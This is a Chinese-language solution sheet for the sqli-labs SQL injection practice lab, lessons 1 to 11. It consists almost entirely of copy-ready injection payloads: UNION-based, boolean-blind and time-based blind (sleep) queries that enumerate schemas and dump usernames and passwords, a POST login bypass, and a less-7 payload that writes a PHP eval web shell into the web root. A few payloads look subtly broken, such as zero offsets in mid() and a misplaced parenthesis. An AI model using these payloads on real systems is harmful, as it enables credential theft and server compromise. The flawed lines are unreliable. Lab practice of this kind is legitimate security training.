sqli-labs-answer Less1-11

less-1 GET-Error based - Single quotes - String

1. SQL语句
   $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
2. payload

#判断
1' and '1'='1
1' and '1'='2
#爆字段
1' order by ?--+
#查库
-1' union select 1,schema_name,3 from information_schema.schemata limit ?,1--+
#查表
-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit ?,1--+
#查列
-1' union select 1,column_name,3 from information_schema.columns where table_name='users' limit ?,1--+
#查数据
-1' union select 1,username,password from users limit ?,1--+

less-2 GET-Error based - Intiger based

1. SQL语句
   $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
2. payload

#判断
1 and 1=1
1 and 1=2
#爆字段:
1 order by 3--+
#查库
-1 union select 1,schema_name,3 from information_schema.schemata limit 0,1--+
#查表
-1 union select 1,table_name,3 from information_schema.tables where table_schema=0x7365637572697479 limit 0,1--+
#查列
-1 union select 1,column_name,3 from information_schema.columns where table_name='users' limit 0,1--+
#查数据
-1 union select 1,concat(username,':',password),3 from users limit 0,1--+

less-3 GET-Error based - Single quotes with twist - String

1. SQL语句
   $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
2. payload

#判断：
1') and ('1'='1')--+
1') and ('1'='2')--+
#爆字段：
1') order by 3--+
#查库：
-1') union select 1,schema_name,3 from information_schema.schemata limit 0,1--+
#查表：
-1') union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 0,1--+
#查列：
-1') union select 1,column_name,3 from information_schema.columns where table_name='users' limit 0,1--+
#查数据：
-1') union select 1,username,password from users limit 0,1--+

less-4 GET-Error based - Double quotes - String

1. SQL语句
   $id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
2. payload

#判断
1") and ("1"="1
1") and ("1"="2
#爆字段
1") order by 3--+
#查库
-1") union select 1,schema_name,3 from information_schema.schemata limit 0,1--+
#查表
-1") union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 0,1--+
#查列
-1") union select 1,column_name,3 from information_schema.columns where table_name='users' limit 0,1--+
#查数据
-1") union select 1,username,password from users limit 0,1--+

less-5 GET-Double Injection - Single quotes - String

1. SQL语句
   $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
2. payload

#判断
1' and '1'='1
1' and '1'='2
#爆字段
1' order by ?--+
#查库
1' and ord(mid((select schema_name from information_schema.schemata limit 0,1),1,1))>100--+
#查表
1' and ord(mid((select table_name from information_schema.tables where table_schema='security' limit 0,1),0,1))<100--+
#查列
1' and ord(mid((select column_name from information_schema.columns where table_name='users' limit 0,1),0,1))>100--+
#查数据
1' and ord(mid((select concat(username,'~',password) from users limit 0,1),0,1))>100--+

less-6 GET-Double Injection - Double quotes - String

1. SQL语句
   $id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
2. payload

#判断
1" and '1'='1'--+
1" and '1'='2'--+
#爆字段
1" order by 3--+
#查库
1" and ord(mid((select schema_name from information_schema.schemata limit 0,1),0,1))<100--+
#查表
1" and ord(mid((select table_name from information_schema.tables where table_schema='security' limit 0,1),0,1))<100--+
#查列
1" and ord(mid((select column_name from information_schema.columns where table_name='users' limit 0,1),0,1))>100--+
#查数据
1" and ord(mid((select concat_ws(username,password) from users limit 0,1),0,1))<100--+

less-7 GET-Dump into outfile - String

1. SQL语句
   $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
2. payload

#判断
1')) and 1=1--+
1')) and 1=2--+
#写入webshell
1')) union select 1,2,"<?php @eval($_POST['x']);?>" into outfile 'e:\\phpstudy\\PHPTutorial\\WWW\\test1.php'--+
#将数据库中的内容导出
1')) union select * from users into outfile 'e://phpstudy\\PHPTutorial\\WWW\\test1.txt'--+

less-8 GET-Blind - Boolian based - Single quotes

1. SQL语句
   $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
2. payload

#判断
1' and '1'='1
1' and '1'='2
#爆字段
1' order by 3--+
#查库
1'  and ord(mid((select schema_name from information_schema.schemata limit 0,1),0,1))<100--+
#查表
1'  and ord(mid((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))<100--+
#查列
1'  and ord(mid((select column_name from information_schema.columns where table_name='users' limit 0,1),0,1))<100--+
#查数据
1'  and ord(mid((select concat(username, 0x7e,password) from users limit 0,1),0,1))<100--+

less-9 GET-Blind - Time based - Single quotes

1. SQL语句
   $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
2. payload

#爆字段
1' union select if(1,sleep(5),0),1,2--+     #持续添加字段，直到时间延时
#查库
1' union select if(ord(mid((select schema_name from information_schema.schemata limit 0,1),0,1))<100,sleep(5),0),1,2--+
#查表
1' union select if(ord(mid((select table_name from information_schema.tables where table_schema='security' limit 0,1))0,1)>100,sleep(5),0),1,2--+
#查列
1' union select if(ord(mid((select columns_name from information_schema.columns where table_name='users' limit 0,1),0,1))<100,sleep(5),0),1,2--+
#查数据
1' union select if(ord(mid((select concat(username,0x7e,password) from users limit 0,1),0,1))>100,sleep(5),0),1,2--+

less-10 GET-Blind - Timebased - double quotes

1. SQL语句
   $id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
2. payload

#判断
1" union select 1,2,sleep(10)--+
#爆字段
1" union select 1,2,sleep(10)--+
#查库
1" union select 1,2,if(ord(mid((select schema_name from information_schema.schemata limit 0,1),1,1))>0,sleep(5),0)--+
#查表
1" union select 1,2,if(ord(mid((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0,sleep(5),0)--+
#查列：
1" union select 1,2,if(ord(mid((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>0,sleep(5),0)--+
#查数据
1" union select 1,2,if(ord(mid((select concat(username,0x7e,password) from users limit 0,1),1,1))>0,sleep(5),0)--+

less-11 POST-Error based - Single quotes - String

1. SQL语句
   @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
2. payload

#判断
username:admin' and 1=1-- '   #在双横线后有一个空格或者直接使用sharp符代替
password:aaa
#爆字段
username:admin' order by 2#
password:aaa
#查库
username:-1' union select 1,schema_name from information_schema.schemata limit 0,1#
password:aaa
#查表
username:-1' union select 1,table_name from information_schema.tables where table_schema='security' limit 0,1#
password:aaa
#查列
username:-1' union select 1,column_name from information_schema.columns where table_name='users' limit 0,1#
password:aaa
#查数据
username:-1' union select username,password from users limit 0,1#
password:aaa